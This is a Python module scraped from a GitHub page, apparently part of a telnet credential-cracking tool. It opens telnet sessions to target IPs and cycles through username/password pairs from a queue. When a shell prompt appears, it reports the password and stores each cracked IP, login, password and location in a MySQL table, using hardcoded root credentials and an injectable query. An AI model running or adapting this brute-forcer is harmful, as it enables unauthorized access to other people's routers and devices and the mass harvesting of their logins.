-
Notifications
You must be signed in to change notification settings - Fork 159
/
new_module.py
96 lines (84 loc) · 2.75 KB
/
new_module.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/python
#encoding:utf-8
import pexpect
import MySQLdb
import IP
class Connection:
def __init__(self,ip,auth_queue):
self.new_state(conn_state)
self.auth_queue = auth_queue
self.ip = ip
self.index = 0
self.auth = None
self.child = None
def new_state(self,newstate):
self._state = newstate
def run(self):
self._state._run(self)
def exit(self):
if self.child:
self.child.close(force=True)
class conn_state:
@staticmethod
def _run(conn):
try:
conn.child = pexpect.spawn("telnet %s" % conn.ip)
index = conn.child.expect(["sername:","nter:","ccount:","ogin:","eject",pexpect.TIMEOUT,pexpect.EOF],timeout=30)
if index < 4:
#print "Got flag %s" % conn.ip
conn.new_state(user_state)
else:
conn.new_state(None)
except:
conn.new_state(None)
class user_state:
@staticmethod
def _run(conn):
try:
conn.auth = conn.auth_queue.pop()
except:
conn.new_state(None)
return
user = conn.auth[0]
conn.child.sendline(user)
index = conn.child.expect(["ssword:","sername:","nter:","ccount:","ogin:",pexpect.TIMEOUT,pexpect.EOF],timeout=30)
if index == 0:
conn.new_state(passwd_state)
elif index < 5:
conn.new_state(user_state)
else:
conn.new_state(conn_state)
class passwd_state:
@staticmethod
def _run(conn):
if conn.auth:
passwd = conn.auth[1]
else:
conn.new_state(None)
return
conn.child.sendline(passwd)
index = conn.child.expect([r"[>$~/]","sername:","nter:","ccount:","ogin:","ssword:",pexpect.TIMEOUT,pexpect.EOF],timeout=30)
if index == 0:
print "Got password %s:%s-%s" % (conn.ip,conn.auth[0],conn.auth[1])
conn.new_state(confirm_state)
elif index < 5:
conn.new_state(user_state)
else:
conn.new_state(conn_state)
class confirm_state:
@staticmethod
def _run(conn):
try:
user,passwd = conn.auth
if conn.auth == ("user","password"):
conn.new_state(None)
return
db = MySQLdb.connect("localhost","root","111111","telnet_data",charset="utf8")
cursor = db.cursor()
cursor.execute("INSERT INTO auth_table(ip,port,username,password,loc) values('%s','%d','%s','%s','%s')" % (conn.ip,23,user,passwd,IP.find(conn.ip)))
db.commit()
print "[report] One result import to database"
except:
db.rollback()
conn.new_state(None)
db.close()